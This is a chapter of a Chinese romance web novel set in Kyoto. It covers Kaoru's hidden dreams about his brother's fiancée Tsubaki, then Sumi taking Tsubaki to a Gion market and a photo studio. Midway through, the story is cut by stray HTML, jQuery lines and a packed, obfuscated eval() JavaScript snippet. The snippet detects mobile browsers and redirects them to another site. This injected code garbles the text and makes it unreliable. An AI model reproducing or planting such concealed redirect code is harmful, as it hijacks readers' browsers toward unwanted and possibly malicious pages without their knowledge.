而且熏没说出口的事情，还有很多。


    比如，他很早之前，早到甚至不太记得确切从何时开始就一直在断断续续地梦到成濑椿。


    在那些光怪陆离、逻辑破碎却又情感充沛的梦境里，他才是她的未婚夫。


    梦里，他会因为她一封简短的信而匆匆赶往京都，梦里没有顽劣的弟弟横亘其间，只有他和她，以及一些模糊却令人心悸的亲密瞬间。


    梦境时断时续，有时候醒来就记不清具体情节，但那汹涌的情感余波久久不散，如同潮水退去后留在沙滩上的湿痕。


    为了捕捉这些稍纵即逝的碎片，也或许是为了理解这莫名情感的来源，他开始谨慎地记录。


    他在私人笔记的某一页，写下过那样见不得人的句子。


    熏停下踱步，站在逐渐被暮色吞没的窗前，对着窗外幽暗的玫瑰园轮廓，深深地吸了一口气，又缓缓吐出。


    他不是感情充沛的人。


    在最初开始频繁梦到她的时候，他甚至只花了几秒钟就平静地接受了这个事实。他不觉得那些梦中的旖旎或纠葛会真正困扰他的现实生活，也不急着从那梦中过于充沛的情感体验里脱身。


    ……但是现在。


    他转过头在想，这个八音盒送不出去了。


    在澄理所当然地向他讨要、并提及椿会喜欢的那一刻，某种蛰伏在他冷静表象下的情绪猛地窜了出来。


    他差点……差点就挥拳向自己那双生弟弟的脸上打了过去。


    梦境与现实开始疯狂地交错、撕扯。


    他都快忘了，或者说在情感的深潜区，他潜意识里拒绝承认——谁才是成濑椿真正的未婚夫。


    于是……他开始真正地头疼了。


    *


    午后的阳光透过成濑家书库高高的木格子窗，斜斜地洒在缘侧干燥的木板地上，将空气中浮动的微尘照得纤毫毕现。


    梅雨季刚过，空气里还残留着一丝濡湿的底子，正是晒书的好时节。


    椿将最后一册蓝布封面的书本小心摊开在铺了白布的筵席上，风从庭院吹来，带着新修剪过的草木清气，书页便哗啦啦地轻响起来，露出里面工整的墨字与褪色的朱批。


    她伸出手压住书页的边角。


    她今日只穿了家常的浅葱色和服，为了方便做事，两只袖子用淡紫色的细带子高高束起，在肘弯上方扎成利落的结，露出整段白生生的小臂。


    阳光毫无遮拦地照在那片肌肤上，竟有些晃眼。


    脚上是崭新的桐木下屐，木齿比寻常的更高些，走起路来嗒嗒的声响格外清脆，靛蓝色的鞋带在纤细的脚踝处系成灵巧的蝴蝶结。


    她正蹲下身调整另一册摊开的《狂言本》，耳畔忽然传来极轻的窸窣声。


    “小椿——小椿——”


    带着笑意的声音从西侧那堵老墙头飘下来。


    椿抬起头，眯着眼逆光望去。


    墙头探出一个毛茸茸的脑袋，头发被风吹得乱糟糟的，脸上还蹭了道灰痕。一条澄穿着时兴的立领学生装，领口的扣子松了两颗，正趴在墙头朝她咧嘴笑，露出一口白牙。


    墙外是条僻静的后巷，墙内正对着书库的安静缘侧。


    澄曾爬上去，偷看她一个人在庭院里拍球。


    椿直起身，用手背擦了下额角沁出的细汗，眼里漾开笑意。


    “怎么又做这种小偷小摸的动作？”


    她的声音不高，带着晒了半日太阳后的些许慵懒。


    澄三两下攀上墙头坐稳，两条长腿悬空晃荡着。


    “还不是被我哥说了，烦死了，什么规矩规矩的，我才不管，我就来。”


    椿走到墙边，仰头看他。


    阳光刺眼，她不得不用手挡，“你哥说得也没错。”


    “别说那些了，”澄弯下腰，长长的手臂朝她伸下来，掌心向上，“我带你去外面逛逛，今天祇園那边有市集，听说有从长崎来的船刚靠岸，带来了荷兰式的点心铺子，黄油香味能飘半条街。”


    他的手掌宽大，椿回头望了望摊满整个缘侧的线装书册，又看了看墙头上那双亮得像淬了星子的眼睛。风忽然毫无预兆地大起来，呼地卷过庭院，险些将几册脆弱的旧纸掀飞。


    她连忙回身去按。


    “别管那些书了。”


    澄在上面催促，“要是丢了、潮了、被虫蛀了，我赔你，赔你整套新的。”


    这话说得轻巧又霸道，椿忍不住“扑哧”笑出声来。


    她将镇纸重新压牢，抬手解开了束袖的淡紫色带子。柔软的浅葱色布料立刻滑落下来，妥帖地遮住了手臂。


    之后她踮起脚，将自己的手放进澄温暖干燥的掌心。


    他的手握得很紧，借着他的力气，椿蹬着墙面凹凸的痕迹，另一只手攀住墙头生着青苔的砖石，被他半抱半拉地拽了上去。


    墙头狭窄，她晃了一下，澄立刻扶住她的腰。待她坐稳，他又率先利落地翻到墙外，张开手臂。


    “跳下来，我接着你。”


    椿抿了抿唇，将裙裾稍稍拢起，闭眼朝下一跃。


    稳稳落入一个带着皂角清气和年轻汗意的怀抱。


    澄接得稳当，只是冲击力让两人都踉跄了一步。


    “走。”


    穿过后巷，绕过成濑家气派的正门，石板路渐渐宽阔起来，汇入祇園一带熙攘的人流。


    空气立刻变得喧闹而富有生气，各种声音与气味扑面而来。


    他果真先寻到了那家荷兰点心铺子。


    小小的店面挂着蓝白条纹的帆布帘子，玻璃橱窗里陈列着金黄色、蓬松的奇怪糕点。澄买了两个撒着糖霜，塞一个到椿手里。


    糕点入口松软，甜得有些发腻，是京都和果子截然不同的风味。澄三两口吃完自己的，又眼巴巴看着椿手里咬了一小口的那个，椿笑着掰了一半给他。


    阳光渐渐西斜，将街道染成温暖的蜜色。


    走着走着，澄在一家店门前停下了脚步。


    那是一家新式的写真馆，橱窗擦得锃亮，里面陈列着几张放大的肖像照片。门楣上挂着黑底金字的招牌“堀川写真馆”。


    澄盯着橱窗里一张并肩而立的年轻夫妇照片看了几秒，忽然扭头对椿说：“我们拍一张。”


    馆内光线略显昏暗，背景是绘着西洋柱廊与花园的厚重布幕，地上散落着电线。


    留着两撇八字胡、穿着西装马甲的老板从里间探出头，看到他们，热情地迎上来。


    “二位贵客拍合影？请这边站，对，就站在幕布前这个位置。”</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17415566|197308||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    老板指挥着，搬来一个高高的、带着三只脚的黑色机器，上面蒙着一大块黑布。


    “别动，千万别动，看我这里。”


    澄一把搂住椿的肩膀，将她拉近自己。


    黑布下传来轻微的机械声响，老板喊了声“好了”，一道刺眼的镁光猛地炸亮，伴随着轻微的“嘭”声和白烟，瞬间映亮了两人挨得极近的脸庞。


    等待显影的时间，澄显得有点坐立不安，在小小的店面里踱步。


    老板则在一旁絮絮地说着写真的妙处，能将此刻光阴永远留住云云。终于照片出来了，还是湿漉漉的。老板用镊子夹着边缘，小心地递过来。


    黑白影像上，他们两个并肩而立。


    澄的个子已经很高，学生装穿得挺拔，他微微侧身向着椿，一只手亲密地搭在她肩上，脸上是张扬快活的笑容。椿站在他身侧，唇角弯起柔和的弧度。


    澄盯着照片看了许久，耳根竟有些发红。


    他付了钱，然后很自然地牵起椿的手，推门走入已染上暮色的街道。


    手心相贴，温热传递。


    椿的手指纤长，但指尖和指腹有着明显的薄茧，那是常年练习三味线留下的印记。


    澄早就知道，也看过摸过。


    他不懂音律，对歌舞伎那些缠绵悱恻的曲调、复杂的情感表现一窍不通，对美术、文学也兴趣寥寥。但他记得很久以前，在成濑家的某次宴会上椿被要求演奏一曲。


    那时她还小，抱着几乎和她人等高的三味线。澄耐着性子听完了，只觉得那声音叮叮咚咚，有点冷清。


    后来在人后，兄长熏曾跟他说：“她太紧张了，有一小节拨弦的力道偏了。”


    他当时回了什么？好像只是心不在焉地“哦”了一声，心里惦记的是宴席后能不能去后院池塘边捉萤火虫。


    现在他握着这只带着琴茧的手，他拉着她想往河边去看夕阳，那里有艺伎乘屋形船游河的景致。


    但没拉动。


    澄诧异地回头。


    椿站在原地，眉头微蹙。


    “怎么了？”


    “脚疼。”


    椿轻声说，弯腰用手碰了碰后跟。


    那双崭新的桐木下屐，有着坚硬的木齿和未经软化的靛蓝鞋带，经过大半日的行走，已在她的脚后跟磨出了一片刺眼的红痕，甚至有些破皮了。


    暮色渐浓，华灯初上，祇園的喧嚣仿佛隔了一层纱，远远传来。


    澄蹲下身，就着店铺门口灯笼的光，仔细看了看她的脚踝。


    暮色像稀释了的蓝墨，一层层加深，侵染着京都的天空。


    他们所在的这条窄巷，背对着主街的流光溢彩与喧嚣人声。那些烤物的焦香、三味线的断音、游人的笑语，都被高高的屋墙和渐起的晚风筛过一遍，传到耳边时像隔着一层厚厚的毛玻璃。


    他扶着椿坐下，叮嘱了几句后跑开。


    巷子里很安静，只有墙角湿漉漉的青苔气味，和不知哪家厨房飘出的、正在炖煮的味噌汤的咸鲜气息。


    澄跑回来，他手里攥着一个小巧的圆铁盒，上面贴着德文标签，是船来品药膏。


    他喘着气在椿面前蹲下，托起她受伤的那只脚，放在自己屈起的膝盖上。


    “别动。”